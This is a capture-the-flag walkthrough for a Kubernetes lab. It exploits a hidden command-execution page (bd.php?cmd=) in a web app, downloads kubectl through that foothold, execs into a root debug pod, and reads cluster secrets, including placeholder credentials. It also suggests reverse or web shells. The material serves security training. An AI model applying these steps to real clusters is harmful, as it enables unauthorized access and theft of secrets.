Stage 1

Start this challenge by browsing to the give URL, which should look like `http://<public ip>:32080/` . The goal of this challenge is to **read the values of a secret** inside the Kubernetes cluster.

Steps to be taken

1. Find remote code execution in webapp
2. Find the first flag in the webapp container
3. Get a way to communicate with the Kubernetes cluster and discover other potential pods
4. Get command execution in the debug pod to find secrets
5. Read the secret

Full Walkthrough

The webpage is based on a public HTML template without meaningfull content.
One location where developers might put secret directories is the `robots.txt` file. This file is read by bots and determines which paths should not be crawled.

The file has the following contents:

```
User-agent: *
Disallow: /super-secret-area/stay-out.php
Disallow: /bd.php
```

You notice `bd.php` . Browse to that page. In the source code of that page you can see:

```
<!-- TODO: implement and secure this properly -->
<!--
<form method='GET'>
     <input type="text" id="fname" name="cmd"><br><br>
     <input type="submit" value="Submit">
</form>
-->
```

Basically there is a GET paramater, `cmd` which can be submitted to this page.
When you browse to `http://<public ip>:32080/bd.php?cmd=ls /` you will see the command is executed:

```
FLAG.txt
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

We see the first flag!
Grab it by replacing `ls /` with `cat /FLAG.txt` in the URL.

> Note: whilst you can do all of this using the browser by editting the `cmd` parameter, you are free to create another way of code execution, such as a *reverse shell* or a *web shell*.

With this Remote Code Execution, it is possible to fetch the `kubectl` binary. Run the following command, by putting it after the `?cmd=` parameter in the url:
`curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"`
Then make it executable:

`chmod 777 kubectl`

See if this is working correctly:

```
./kubectl version

Client Version: version.Info{Major:"1", Minor:"23", GitVersion:"v1.23.3", GitCommit:"816c97ab8cff8a1c72eccca1026f7820e93e0d25", GitT
Server Version: version.Info{Major:"1", Minor:"23", GitVersion:"v1.23.1", GitCommit:"86ec240af8cbd1b60bcc4c03c20da9b98005b92e", GitT
```

Now let's list the authorizations you have:

Resources	Non-Resource URLs	Resource Names	Verbs
pods/exec	[]	[]	[create]
selfsubjectaccessreviews.authorization.k8s.io	[]	[]	[create]
selfsubjectrulesreviews.authorization.k8s.io	[]	[]	[create]
pods	[]	[]	[get watch list]
	[/.well-known/openid-configuration]	[]	[get]
	[/api/*]	[]	[get]
	[/api]	[]	[get]
	[/apis/*]	[]	[get]
	[/apis]	[]	[get]
	[/healthz]	[]	[get]
	[/healthz]	[]	[get]
	[/livez]	[]	[get]
	[/livez]	[]	[get]
	[/openapi/*]	[]	[get]
	[/openapi]	[]	[get]
	[/openid/v1/jwks]	[]	[get]
	[/readyz]	[]	[get]
	[/readyz]	[]	[get]
	[/version/]	[]	[get]
	[/version/]	[]	[get]
	[/version]	[]	[get]
	[/version]	[]	[get]

We see that we can `create pods/exec`, aka we can do `kubectl exec <pod>`, and we can `get, watch, list pods`, aka we can do `kubectl get pods`.

First we look which pods are available:

```
./kubectl get pods

NAME
debug-helper-xxxxxxxxx-xxxxx
webapp-entry-xxxxxxxxxx-xxxx
```

We have two pods available in this namespace. Remember that we have `exec` rights, we exec into the debug pod:
`./kubectl exec debug-helper-xxxxxxxxx-xxxxx -- whoami`

This should return `root`, meaning you have full permissions inside that container!

See if Kubectl is already installed on the pod:
`./kubectl exec debug-helper-xxxxxxxxx-xxxxx -- kubectl version`

It already is installed, list the permissions the account has:

```
./kubectl exec debug-helper-xxxxxxxxx-xxxxx -- kubectl auth can-i --list

Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get watch list]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
```

Note that this account is able to list `secrets`!

List secrest by using `kubectl get secrets`:

```
NAME
debug-helper-token-qzs9d
default-token-7rm9t
flag
webapp-token-fpb4n
```

Now get the contents of the `flag` secret `kubectl get secrets flag -o yaml`.
Note that data fields are base64 encoded. The decoded values show:

```
This is the final flag (or is it?)
```

And for the data field:

```
{
"username": "root",
"password": "password",
"cmd":"ssh -p 32222 root@<public ip of cluster>",
"namespace":"helm-helper"
}
```

Objective achieved, you've read the contents of the secret.